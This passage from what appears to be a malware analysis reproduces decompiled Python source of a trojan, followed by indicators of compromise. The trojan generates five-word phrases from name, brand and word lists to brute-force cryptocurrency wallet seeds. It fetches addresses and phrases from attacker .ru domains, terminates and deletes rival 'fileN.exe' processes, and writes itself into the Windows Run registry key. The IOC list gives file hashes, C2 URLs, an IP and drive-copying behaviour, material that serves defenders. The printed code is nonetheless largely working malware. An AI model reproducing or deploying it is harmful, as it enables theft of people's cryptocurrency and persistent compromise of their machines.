Dunk, Dunny, Dustin, Dusty, Dwayne, Dwight, Dylan, Earl, Earle, Earnest, Echo, Eddie, Eddy, Edgar, Edmond, Edmund, Edward, Edwin, Egbert, Elbert, Eldred, Eli, Elias, Elijah, Ellington, Elliot, Elliott, Ellis, Elmer, Elton, Elvin, Elvis, Elwin, Elwood, Elwyn, Emanuel, Emery, Emil, Emile, Emmanuel, Emmery, Emmet, Emmett, Emory, Eric, Erick, Erik, Ernest, Ernie, Errol, Erv, Ervin, Erwin, Ethan, Eugene, Eustace, Evan, Everard, Everest, Everett, Everson, Fab, Fabe, Fabian, Felix, Ferdie, Ferdinand, Fergie, Fergus, Ferguson, Ferris, Fidel, Fischer, Fitzgerald, Floy, Floyd, Ford, Fran, Francis, Francois, Frank, Frankie, Franklin, Franklyn, Franky, Fraser, Fred, Freddie, Freddy, Frederic, Frederick, Fredric, Fredrick, Fulton, Gabe, Gabriel, Garret, Garrett, Garry, Gary, Gavin, Gene, Geoffrey, Geordie, George, Georgie, Gerald, Gerard, Gerry, Gil, Gilbert, Glen, Glenn, Gordon, Gordy, Graham, Grant, Greg, Gregg, Gregor, Gregory, Griff, Griffin, Griffith, Gryffin, Gus, Gussy, Gust, Gustus, Guy, Hal, Hamilton, Hank, Hannes, Hansel, Harold, Harris, Harrison, Harry, Hart, Harve, Harvey, Hasani, Hawk, Hayden, Hector, Henry, Herb, Herbert, Herman, Heston, Hilary, Hillary, Hillie, Hilly, Homer, Horace, Horatio, Howard, Howie, Hube, Hubert, Hugh, Hughie, Hugo, Humph, Humphrey, Humphry, Hunter, Huxley, Ian, Iggy, Ignatius, Ike, Immanuel, Indigo, Inigo, Irvin, Irvine, Irving, Irwin, Isaac, Isaak, Isador, Isadore, Isaiah, Isidor, Isidore, Ivor, Izzy, Jack, Jackie, Jackson, Jacky, Jacob, Jaden, Jaeger, Jake, James, Jamie, Jansen, Janus, Jared, Jarvis, Jason, Jasper, Jay, Jayden, Jedi, Jeff, Jefferson, Jeffery, Jeffrey, Jem, Jeremiah, Jeremy, Jerome, Jerry, Jervis, Jess, Jesse, Jessie, Jessy, Jesus, Jim, Jimbo, Jimmie, Jimmy, Jody, Joe, Joel, Joey, John, Johnnie, Johnny, Jon, Jonathan, Jonnie, Jonny, Jordan, Jos, Jose, Joseph, Josh, Joshua, Jovian, Juan, Jud, Judd, Judson, Jules, Julian, Julius, Jupiter, Jus, Justin, Kael, Karl, Kasey, Keane, Keith, Kel, Kelley, Kelly, Kelvin, Ken, Kendall, Kendrick, Kenneth, Kenny, Kensington, Kent, Kester, Kev, Kevin, Kirk, Kit, Kris, Kristof, Kristofer, Kristopher, Kurt, Kyle, Laird, Lambert, Lamont, Lance, Lancelot, Landon, Larry, Lars, Larson, Laszlo, Launcelot, Lauren, Laurence, Laurie, Lawrence, Lawrie, Lee, Leeroy, Leigh, Len, Lennie, Lenny, Leo, Leon, Leonard, Leopold, Leroy, Lesley, Leslie, Lester, Lev, Lew, Lewie, Lewis, Lex, Leyton, Liam, Lige, Lin, Linc, Lincoln, Lindon, Lindsay, Lindsey, Linus, Lionel, Lix, Llew, Llewellyn, Lloyd, Logan, Lon, Lonnie, Lonny, Loot, Loren, Lorence, Lorenzo, Lou, Louie, Louis, Lovell, Lowell, Loy, Loyd, Loyde, Lucas, Lucian, Lucius, Luis, Luke, Luth, Luther, Lyall, Lyle, Lyn, Lyndon, Lynn, Lyss, Mace, Maguire, Mal, Malc, Malcolm, Mannie, Manny, Manuel, Marc, Marcus, Marion, Mark, Marshal, Marshall, Mart, Martin, Marty, Marv, Marvin, Mason, Mat, Matt, Matthew, Matthias, Mattie, Matty, Maurice, Maximilian, Maxwell, Maynard, Mckinley, Melvin, Mercer, Merill, Merle, Merlin, Merril, Merrill, Merv, Mervin, Michael, Mick, Mickey, Micky, Miggy, Miguel, Mike, Mikey, Miles, Milo, Milt, Milton, Mir, Mitch, Mitchell, Monroe, Montague, Monte, Montgomery, Monty, Morey, Morgan, Morris, Morry, Mort, Mortimer, Morton, Morty, Mose, Moses, Moss, Munroe, Murray, Murry, Myles, Nat, Nate, Nathan, Nathaniel, Natty, Navy, Neal, Ned, Nel, Nell, Nels, Nelson, Nev, Nevil, Nevile, Nevill, Neville, Newt, Newton, Nicholas, Nick, Nicky, Nicol, Nicolas, Nige, Nigel, Nile, Niles, Noah, Noel, Noll, Nollie, Nolly, Nor, Norbert, Norm, Norman, Normie, Norrie, Norris, Nort, Norton, Nowell, Octavius, Oden, Oliver, Ollie, Orlando, Orson, Orville, Osbert, Osborn, Osborne, Oscar, Osmond, Osmund, Ossy, Osvald, Oswald, Oswold, Otis, Owen, Ozias, Ozzie, Ozzy, Paddy, Pascal, Pat, Patrick, Patsy, Paul, Pauly, Paxon, Penn, Perce, Perceval, Percival, Percy, Perry, Pete, Peter, Petey, Petie, Phil, Philip, Phillip, Poldie, Preston, Quentin, Quenton, Quest, Quincey, Quincy, Quinn, Quintin, Quinton, Rafael, Rafe, Raff, Ralph, Ralphy, Rand, Randal, Randall, Randolph, Randy, Raphael, Raven, Ray, Raymond, Raymund, Red, Reg, Reggie, Reginald, Remi, Rene, Renny, Reuben, Rex, Reynold, Rhythm, Rich, Richard, Richie, Rick, Ricky, Rio, Rob, Robbie, Robby, Robert, Robin, Rockwell, Rod, Roddy, Roderic, Roderick, Rodge, Rodger, Rodney, Roge, Roger, Roland, Rolf, Rolfe, Rolly, Rolph, Roly, Roman, Romy, Ron, Ronald, Ronnie, Ronny, Roscoe, Ross, Rowland, Rowly, Roy, Rube, Ruben, Rubin, Ruby, Rudolf, Rudolph, Rudy, Rufe, Rufus, Rupert, Russ, Russel, Russell, Rusty, Ryan, Sal, Sam, Sammy, Sampson, Samson, Samuel, Sander, Sanford, Saul, Scott, Scotty, Scout, Sean, Sebastian, Serge, Seth, Seymour, Shane, Shannon, Shanon, Shaun, Shaw, Shawn, Shel, Sheldon, Shelley, Shellie, Shelly, Shelton, Shepherd, Sherman, Sid, Sidney, Silas, Silvester, Sim, Simeon, Simie, Simmy, Simon, Slater, Sol, Solly, Solomon, Son, Sonny, Spencer, Stacey, Stacy, Stan, Stanley, Stef, Stefan, Steff, Steffan, Stellan, Steph, Stephan, Stephen, Steve, Steven, Stevie, Stew, Stewart, Stu, Stuart, Sven, Syd, Sydney, Syl, Sylar, Sylvester, Tad, Ted, Teddy, Tegan, Teo, Terence, Tergel, Terrance, Terrence, Terry, Thad, Thaddeus, Thadeus, Theo, Theodor, Theodore, Thomas, Tim, Timmy, Timothy, Tobi, Tobias, Tobie, Toby, Todd, Tom, Tommy, Tony, Toph, Topher, Tracey, Tracy, Trav, Travis, Trent, Trenton, Trev, Trevor, Tris, Tristam, Tristan, Tristram, Troy, Tyler, Tyron, Tyrone, Uli, Uly, Ulysses, Uri, Uria, Uriah, Urias, Valentin, Valentine, Valerian, Valerius, Van, Vance, Vaughan, Vaughn, Vergil, Vern, Verne, Vernon, Vester, Vic, Vick, Victor, Vince, Vincent, Vinny, Virge, Virgil, Wael, Waldo, Wallace, Wallie, Wallis, Wally, Walt, Walter, Warren, Wayne, Wellington, Wendell, Werner, Wes, Wesley, Wilber, Wilbert, Wilbur, Wiley, Wilfred, Wilfrid, Willard, William, Willie, Willis, Willy, Wilson, Winfred, Winfrid, Winnie, Winny, Winston, Wolfe, Woodrow, Woody, Xavier, Xzander, Yanis, Zach, Zachariah, Zacharias, Zachary, Zack, Zacky, Zave, Zyan'
    girls = 'Aaliyah, Abbey, Abbie, Abella, Abigail, Ackie, Addison, Adelaide, Adele, Adrienne, Aemilia, Aemilius, Aemulus, Agatha, Agathos, Agnes, Agnessa, Aileen, Alabama, Alana, Alessandra, Alexa, Alexandra, Alexis, Alice, Alina, Alison, Allison, Alma, Alyssa, Amabel, Amalia, Amanda, Amber, Amee, Amelia, Amia, Amy, Anais, Andrea, Andrew, Angela, Angelina, Anita, Anna, Annabelle, Anne, Annie, Anthea, Antheia, Aperire, Arantxa, Aria, Ariana, Arianna, Arlene, Ashley, Astoria, Atlas, Aubrey, Audrey, Autumn, Ava, Aveline, Avery, Avis, Avril, Azura, Babs, Bailey, Barbara, Bea, Beata, Beatrice, Beatrix, Becky, Belinda, Bella, Bentlee, Berenice,  Bernice, Berry, Bertha, Beryl, Bess, Bessie, Beth, Bethany, Betsy, Betty, Beverly, Blanca, Blanche, Bobbie, Bonnie, Brenda, Brian, Brianna, Brianne, Bridget, Brighid, Britain, Britney, Brittany, Brook, Brooke, Callista, Camila, Camilla, Camillus, Candace, Candice, Cara, Carissa, Carla, Carly, Carmel, Carol, Caroline, Carolus, Carolyn, Carrie, Cary, Cass, Cassandra, Catherine, Cathy, Charis, Charity, Charlene, Charles, Charlie, Charlotte, Chaz, Chelsea, Cherida, Cherish, Cherry, Cheryl, Chichi, Chicka, Chloe, Christina, Christine, Cicely, Cilla, Cilly, Claire, Clara, Clare, Clarice, Clarissa, Clarus, Claudia, Claudius, Connie, Constance, Courtnay, Courtney, Cynthia, Daisy, Danielle, Darlene, Davida, Dean, Deanna, Debby, Deborah, Dee, Deirdre, Delia, Delos, Dena, Derdriu, Destiny, Devina, Diana, DianaR, Diem, Dina, Dinah, Dolly, Dolores, Donna, Dora, Doreen, Doris, Dorothea, Dorothy, Dottie, Dove, Drishti, Eadgyth, Ebony, Edith, Edna, Edwin, Edwina, Effie, Eileen, Eithne, Elaine, Eleanor, Elena, Elfreda, Elinor, Eliza, Elizabeth, Ella, Ellen, Ellie, Elsa, Emilia, Emily, Emma, Emmy, Enola, Erin, Ermintrude, Esma, Esta, Estelle, Esther, Ethel, Eudora, Eugenia, Eugenios, Eunice, Euphemia, Eva, Eve, Evelyn, Evette, Evie, Evonne, Faith, Fanny, Fay, Faye, Felicity, Fenella, FernFiny, Fiona, Fleur, Flo, Flora, Florence, Florentius, Florrie, Fran, Frances, Francis, Freda, Frooti, Gabriell, Gabrielle, Gail, Gale, Gayle, Gaynor, Georgiana, Geraldine, Germaine, Gertrud, Gertrude, Gill, Gillian, Ginger, Ginny, Glenys, Gloria, Glynis, Grace, Gracie, Gratia, Greenlee, Greta, Gretta, Guinevere, Gwenhwfar, Hailey, Haley, Hanna, Hannah, Harmonee, Harper, Harriet, Hattie, Hayley, Hazel, Heather, Heavenly, Helen, Helena, Helene, Henri, Henrietta, Henriette, Hephzibah, Hettie, Hilarius, Hilary, Hilda, Hollie, Holly, Honey, Hope, Huxley, Hyacinth, Ida, Idalia, Imogen, Indigo, Iole, Irea, Irene, Iris, Irmgard, Isabel, Isabella, Isabelle, Ivy, Izzy, Jacqueline, Jacques, Jada, Jade, Jane, Janet, Janette, Janice, Jasmin, Jasmine, Jay, Jazz, Jean, Jeane, Jeanne, Jeannette, Jenna, Jennet, Jennifer, Jenny, Jess, Jessalyn, Jessica, Jessie, Jewel, Jill, Joan, Joanna, Jocelyn, Jodie, John, Jordan, Josce, Josephine, Joy, Joyce, Judith, Judy, Julia, Julian, Juliet, Juliette, Juna, Justin, Justine, Kaitlyn, Kaley, Kani, Kansas, Kat, Katana, Kate, Katelyn, Katherine, Kathy, Katie, Katrina, Katy, Kay, Kayla, Kaylee, Kayley, Keeley, Kelly, Kendra, Kendrick, Keren, Kerena, Kerry, Keva, Kim, Kimberley, Kimberly, Kimmy, Kitty, Kizzy, Kyla, Kyle, Kylie, Kynthia, Lacey, Lainie, Lake, Lana, Larkyn, Laura, Lauren, Laurence, Lauretta, Laurus, Lavender, Layla, Leah, Leanne, Lee, Lena, Leona, Lesley, Leslie, Lexi, Lexy, Libby, Lilian, Lillian, Lilly, Lily, Linda, Lindsay, Lindy, Linette, Linnette, Liona, Lira, Lisa, LisaF, Lise, Livia, Liz, Liza, Lizzie, Lizzy, Lola, Loretta, Lorraine, Lotte, Lottie, Louis, Louise, Lourdes, Lucie, Lucinda, Lucy, Luna, Lyn, Lynette, Lynn, Mabel, Mackenzie, Madeline, Madge, Madison, Madonna, Mafalda, Maggie, Mairin, Makayla, Malvina, Mandy, Mara, Marcia, Margaret, Margarita, Marguerite, Maria, Marice, Marie, Marilyn, Mariposa, Maris, Marissa, Marlene, Mary, Matilda, Maud, Maude, Maura, Maureen, Maven, Mavis, Maxine, Maya, Meg, Megan, Melania, Melanie, Melinda, Melissa, Melony, Mercy, Meriel, Merle, Messiah, Mia, Michelle, Mila, Mildred, Millicent, Millie, Minerva, Minnie, Mirabelle, Miranda, Misty, Molly, Mona, Monet, Monica, Morgan, Moxie, Muireall, Muriel, Myra, Myrtle, Nadia, Nancy, Natalie, Nell, Nella, Nellie, Nerissa, Nessa, Neveah, Nicola, Nicole, Nikita, Nita, Noirin, Nora, Noreen, Norma, Novalie, Nyx, Oceana, Octavia, Olivia, Olympia, Opal, Paisley, Pamela, Pandora, Pansy, Patience, Patricia, Patsy, Paula, Peg, Peggy, Penelope, Perpetua, Petra, Petula, Philippa, Phillida, Philomena, Phoebe, Phyllis, Pippa, Pippy, Polly, Poppy, Primrose, Priscilla, Priss, Prissy, Prudence, Prunella, Psalm, Queenie, Rachel, Raine, Ravenna, Reanna, Rebecca, Rebel, Reenie, Regina, Rene, Rhoda, Ricky, Rikki, Riley, Rina, Rita, Roberta, Robin, Rogue, Ronnie, Rosalind, Rose, Roseanne, Rosella, Rosemary, Rosie, Rosy, Rowena, Roxana, Roxanne, Ruby, Sabella, Sabrina, Sadie, Sahar, Sailor, Sally, Samantha, Sammy, Sandra, Sandy, Sapphire, Sara, Sarah, Savannah, Scarlett, Selena, Selma, Shannah, Shannon, Sharon, Sheila, Shirley, Sibylla, Sierra, Sile, Silver, Silvia, Sissy, Skye, Skylar, Sofia, Sophia, Starla, Stella, Steph, Stephanie, Stephen, Stephy, Stevie, Storm, Sue, Sunshine, Susan, Susanna, Susie, Suzanna, Suzette, Suzy, Swayze, Sybil, Sydney, Sylvia, Tamara, Tammy, Tamsin, Tansy, Tara, Tasha, Tate, Tawny, Taylor, Teri, Terra, Terry, Tessa, Thelma, Theresa, Thora, Tiffany, Tilda, Tori, Tracy, Trina, Trinity, Trisha, Trixie, Trudy, Tulip, Twinkle, Uma, Ursa, Ursula, Valda, Valene, Valerie, Valkyrie, Vanessa, Velma, Venice, Vera, Verity, Verona, Veronica, Viatrix, Vick, Vicky, Victoria, Victory, Viola, Violet, Virgil, Virginia, Vita, Vivian, Wanda, Wendy, Whitney, Wilhelmina, Willow, Wilma, Wilona, Winfred, Winifred, Wynne, Xenia, Xenthe, Yasmin, Yolanda, Yvette, Yvonne, Zane, Zanna, Zelda, Zelene, Zera, Zoe, Zoelle, Zoey, Zowie'
    surnames = 'Adams, Allard, Anderson, Andre, Aramitz, Archambault, Arnaud, Aubert, Babin, Babineaux, Bailey, Baker, Barbier, Barre, Baudin, Beauchene, Beaufort, Beaulieu, Beaumont, Belanger, Bell, Bellamy, Bellerose, Belmont, Belrose, Bennett, Beranger, Berger, Bernard, Bertrand, Blaise, Blanc, Blanchard, Blanchet, Boivin, Bonfils, Bonheur, Bonhomme, Bonnay, Bonnet, Borde, Bouchard, Boucher, Bourdillon, Bourreau, Bret, Brisbois, Brodeur, Brooks, Brown, Bureau, Butler, Caron, Carpentier, Carter, Chaput, Charbonneau, Charles, Charpentier, Charron, Chastain, Chevalier, Chevrolet, Christian, Clark, Clement, Cloutier, Colbert, Collins, Comtois, Cooper, Coste, Cote, Courtemanche, Courtois, Cousineau, Couture, Daniau, Daviau, Davies, Davis, Deforest, Degarmo, Delacroix, Deniau, Deniaud, Deniel, Dennel, Deschamps, Descoteaux, Desjardins, Desroches, Desrosiers, Diaz, Droit, Dubois, Duchamp, Dufort, Dufour, Duguay, Dumont, Dupond, Dupont, Durand, Durant, Duval, Edwards, Evans, Fabien, Fabre, Fabron, Faucher, Faucheux, Faure, Favager, Favre, Favreau, Fay, Felix, Fevre, Firmin, Flores, Fontaine, Forest, Forestier, Fortier, Fosse, Foster, Fournier, Francois, Gage, Gagnier, Gagnon, Garcon, Gardinier, Garnier, Gauthier, Germain, Geroux, Girard, Giroux, Gonzales, Gonzalez, Gosse, Granger, Gros, Guerin, Guillaume, Guillory, Guillot, Hardy, Harris, Hayes, Hebert, Henderson, Howard, Jackson, Jacques, Janvier, Jean, Jenkins, Johnson, Jones, Jordan, Joubert, Julien, Labelle, Lachance, Lachapelle, Lamar, Lamarre, Lambert, Lane, Langlais, Langlois, Lapointe, Larue, Laurent, Lavigne, Lavoie, Leandre, Lebeau, Leblanc, Lebrun, Leclair, Leclerc, Lecuyer, Lefebvre, Lefevre, Legrand, Lemaire, Lemieux, Leroux, Leroy, Lesauvage, Lestrange, Leveque, Lewis, Lopez, Louis, Lucas, Lyon, Macon, Marchand, Marion, Martel, Martin, Martinez, Masson, Mathieu, Mercier, Merle, Meunier, Michaud, Michel, Miller, Mitchell, Monet, Monette, Montagne, Moore, Moreau, Morel, Morgan, Morris, Moulin, Nelson, Neuville, Noyer, Paget, Palomer, Paquet, Parent, Parker, Parris, Pascal, Patterson, Paul, Pelle, Pelletier, Perez, Perigord, Perrault, Perrin, Perrot, Peterson, Petit, Pherigo, Philippe, Phillips, Pierre, Plamondon, Planche, Plourde, Poingdestre, Poirier, Porcher, Poulin, Proulx, Ramirez, Rayne, Reed, Renard, Rey, Richard, Richardson, Richelieu, Rivera, Robert, Roberts, Robin, Robinson, Roche, Rodriguez, Roger, Rogers, Romilly, Ross, Rousseau, Roussel, Roux, Roy, Royer, Russell, Salomon, Samson, Samuel, Sanders, Sartre, Sault, Sauvage, Sauvageon, Sauvageot, Sauveterre, Savatier, Segal, Sergeant, Severin, Simmons, Simon, Smith, Solomon, Sourd, Stewart, Tailler, Tasse, Taylor, Thomas, Thompson, Torres, Traver, Travere, Traverse, Travert, Tremblay, Tremble, Turner, Vidal, Villeneuve, Vincent, Voclain, Walker, Washington, Watson, Williams, Wilson, Wright'
    guns = 'Gun, Weapon, Musket, Rifle, Shotgun, Shotgus, Handgun, Pistol, Revolver, Parabellum, Beretta, SigSauer, Glock, Colt, Walther, Mauser, Browning'
    animal = 'Cat, Dog, Puppie, Kitten, Kitty, Kittie, Doggie, Doggy, Chinchilla, Hamster'
    animals = 'Cats, Dogs, Puppies, Kittens, Kitties, Doggies, Chinchillas, Hamsters'
    auto = 'AlfaRomeo, AstonMartin, Audi, Batmobile, Bentley, Bmw, Brabus, Bugatti, Buick, Cadillac, Chevrolet, Chrysler, Citroen, Corvette, Cruiser, Daihatsu, Dodge, Ferrari, Fiat, Ford, Gmc, Honda, Hudson, Hummer, Hyundai, Isuzu, Jaguar, Jeep, Kenworth, Kia, Koenigsegg, Lamborghini, Lexus, Limousine, Lincoln, Lotec, Maserati, Maybach, Mazda, McLaren, Mercedes, MiniCooper, Mitsubishi, Mosler, Mustang, Nissan, Noble, Oldsmobile, Opel, Pagani, Peterbilt, Peugeot, Plymouth, Pontiac, Porsche, RangeRover, Renault, Rezvani, Roadster, RollsRoyce, Rover, Saab, Seat, Skoda, SsangYong, Studebaker, Subaru, Suzuki, Tatuus, Tesla, Toyota, Volkswagen, Volvo, Willys'
    drugs = 'Pill, Drug, Drugs, Dope, Narcotic, Narcotics, Opium, Cocaine, Morphine, Heroin, Hashish, Marijuana, Cannabis, Crack, Lsd, Pcp, Amphetamine, Hallucinogen, Methadone, Amidone, Ecstasy, Barbiturate, Nicotine, Ketamine, Meth, Methamphetamine, Mescaline, Peyote, Prozac, Temazepam'
    cigarettes = 'Cigar, Cigarette, Marlboro, Newport, Maverick, Camel, Winston, Pyramid, Doral, Chesterfield, Parliament, Dunhill, LuckyStrike, Gitanes, Gauloises, Embassy, Kensitas, Cohiba, Cuaba, Belmont, PhilipMorris, Davidoff, Kent, Esse, DuMaurier, Mayfair, Memphis, Mevius, PallMall, Parisienne, Woodbine, Zhongnanhai'
    yachts = 'Yacht, Alalunga, Alenyacht, Alfamarine, Alunaut, Apreamare, Astondoa, Axopar, Azimut, Beneteau, Benetti, Birchwood, BoatMarine, BoatBuilding, Carver, Chaparral, Comitti, Cranchi, Drettmann, Boarnstream, Powerboats, Edgewater, Faeton, Feadship, FiartMare, FourWinns, inRizzardi, Jeanneau, Jongert, McKinna, Menorquin, Mikelson, MosBoats, NedYacht, Storebro, Nordhavn, Numarine, Overmarine, Permare, Primatist, Superyachts, SeaRay, Sealine, Shipyard, Sunreef, Sunseeker, SuperHouseBoats, VanDerHeijden, Yachtbuilders, Bruckmann, CaboYachts, Dellapasqua, HeySea, Grandezza, Lazzara, Silverton, Houseboats, Wellcraft, Henriques, Hodgdon, Interadria, Shipyards, YachtLife, Yamarin, Stingray, Silvercraft, SeaDoo, Rinker, Nimbus, Bayliner, Alumacraft'
    beaches = 'Kaunaoa, CampsBay, BoraBora, EagleBeach, Carvoeiro, SouthBeach, Ipanema, Bavaro, Nissi, PhraNang, Punaluu, Natadola, PalmBeach, Copacabana, Fonimagoodhoo, PinkSands, BlueLagoon, Waikiki, Benagil, Elafonissi, GrandAnse, Varadero, Derawan, Koekohe, Fulhadhoo, AnseLazio, Legzira, SvetiStefan, Myrtos, Radhanagar, DianiBeach, Lamai, Rasdhoo, Unawatuna, MyKhe, Yelapa, Wuzhizhou, Pfeiffer, Varkala, NusaDua, Navagio, AlJissah, SharmElSheikh, Kaanapali, Campeche, SunnyIsles, Railay, Paraiso, Huvahendhoo, GuanaCay, SaCaleta, Marinha, Akumal, Palolem, Tangsi, Guardalavaca, Comporta, Aitutaki, Mismaloya, CoronaDelMar, ParadiseBeach'
    crypto = 'Cryptocurrency, Bitcoin, Btc, Litecoin, Ltc, Monero, Money, Cash'
    synonyms = []
    for s in [alcohols, dogs, cats, mens, girls, surnames, guns, animal, animals, auto, 
     drugs, cigarettes, yachts, beaches, crypto]:
        synonyms.append(set(s.split(', ')))
        synonyms.append(set(s.lower().split(', ')))

    try:
        threading.Thread(target=get_phrases, args=(0, 4, 20230830)).start()
        threading.Thread(target=get_phrases, args=(0, 5, 20230830)).start()
    except:
        pass

    try:
        t = time.time()
        p = psutil.Process()
        for proc in psutil.process_iter():
            try:
                if proc.pid == p.pid or proc.pid == p.ppid():
                    continue
                if re.findall('file\\d.exe', proc.name()):
                    proc.terminate()
                    time.sleep(0.4)
                    os.remove(os.path.join(os.path.dirname(sys.argv[0]), proc.name()))
            except:
                pass

    except:
        pass

    try:
        thread1 = threading.Thread(target=load_addresses, args=('cpitest.ru/',))
        thread1.start()
    except:
        pass

    try:
        if os.path.isfile(resource_path('words.bz2')):
            path = resource_path('words.bz2')
        else:
            path = os.path.join(os.path.join(os.path.realpath(sys.path[0]), '.'), 'words.bz2')
        with open(path, 'rb') as (rb):
            lines = bz2.decompress(rb.read()).split('\r\n')
            c = len(lines[0].split('&'))
            words = [ {} for _ in range(c - 1) ]
            codes = {str(j): line.split('&')[0] for j, line in enumerate(lines)}
            for i, line in enumerate(lines):
                lines[i] = ('&').join([ (':').join([ (';').join([ codes.get(j, j) for j in w.split(';') ]) for w in ln.split(':') ]) for ln in lines[i].split('&') ])

            for i, line in enumerate(lines):
                line = line.strip()
                line = line.split('&')
                word = line[0].split('&')[0]
                d = len(line[1].split(':'))
                for p in range(1, c):
                    words[p - 1][word] = [ {} for _ in range(c - p) ]
                    for n in range(c - p):
                        if n < d:
                            words[p - 1][word][n] = {w for w in line[p].split(':')[n].split(';') if w}

                    if not any(words[p - 1][word]):
                        del words[p - 1][word]

            del lines
    except:
        pass

    try:
        rkey = reg.OpenKey(reg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, reg.KEY_ALL_ACCESS)
        reg.SetValueEx(rkey, 'python12', 0, reg.REG_SZ, os.path.abspath(sys.argv[0]))
        reg.CloseKey(rkey)
    except:
        pass

    try:
        u = 0
        ver = '5314'
        phrases = []
        keys = {k for v in words}
        synonyms = [ set(k).intersection(keys) for k in synonyms ]
        for i in xrange(1, 5000000):
            time.sleep(5)
            try:
                if len(multiprocessing.active_children()) < 1:
                    words0 = words[0].copy().keys()
                    words0 = choices({w: len(words[0][w][0]) for w in words0}, len(words0), 0)
                    for j0, word0 in enumerate(words0):
                        words1 = words[0][word0][0].copy()
                        words1 = choices({word: len(set.intersection(*[ words[1 - p][w][p] for p, w in enumerate([word, word0][:d]) ])) for word in words1}, len(words1), 0)
                        for j1, word1 in enumerate(words1):
                            words2 = set.intersection(*[ words[1 - p][w][p] for p, w in enumerate([word1, word0][:d]) ])
                            words2 = choices({word: len(set.intersection(*[ words[2 - p][w][p] for p, w in enumerate([word, word1, word0][:d]) ])) for word in words2}, len(words2), 0)
                            for j2, word2 in enumerate(words2):
                                words3 = set.intersection(*[ words[2 - p][w][p] for p, w in enumerate([word2, word1, word0][:d]) ])
                                words3 = choices({word: len(set.intersection(*[ words[3 - p][w][p] for p, w in enumerate([word, word2, word1, word0][:d]) ])) for word in words3}, len(words3), 0)
                                for j3, word3 in enumerate(words3):
                                    words4 = set.intersection(*[ words[3 - p][w][p] for p, w in enumerate([word3, word2, word1, word0][:d]) ])
                                    for j4, word4 in enumerate(words4):
                                        if True:
                                            if True:
                                                if True:
                                                    if True:
                                                        phrase = word0 + ' ' + word1 + ' ' + word2 + ' ' + word3 + ' ' + word4
                                                        phrase = phrase.encode('utf8')
                                                        if 10 > len(phrase) > 80:
                                                            continue
                                                        phrases.append(phrase)
                                                        phrases.append(phrase.lower())
                                                        phrases.append(phrase.replace(' ', ''))
                                                        phrases.append(phrase.replace(' ', '').lower())
                                                        if len(phrases) > 500000:
                                                            u += len(phrases)
                                                            process1 = multiprocessing.Process(target=check_addresses, args=(u, t, ver, {phrases.pop() for x in xrange(len(phrases))}, []))
                                                            process1.start()
                                                            process1.join()

            except:
                pass

    except:
        pass

    sys.exit()

IOC

HASH
EAD9542D757366D77F887173A8EEC810
a7f1d0df5413d14fab8566df4fdde1d9
eeb736d65f89dbabdc5670f801c6d53b
63e104fb8a1906ed70a4baf3f2672a70

文件行为
在D-M盘符下，创建photo目录，将自身拷贝过去

网络
http://www.profbase.ru/photo.txt
http://www.psiassess.ru/photo.txt
http://www.topstatist.ru/photo.txt
http://194.147.84.197/python18
cpitest.ru/address.php
catell.ru/address.php
cpitest.ru/phrases.php

开机启动项
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"Startup"="C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\xxx.exe"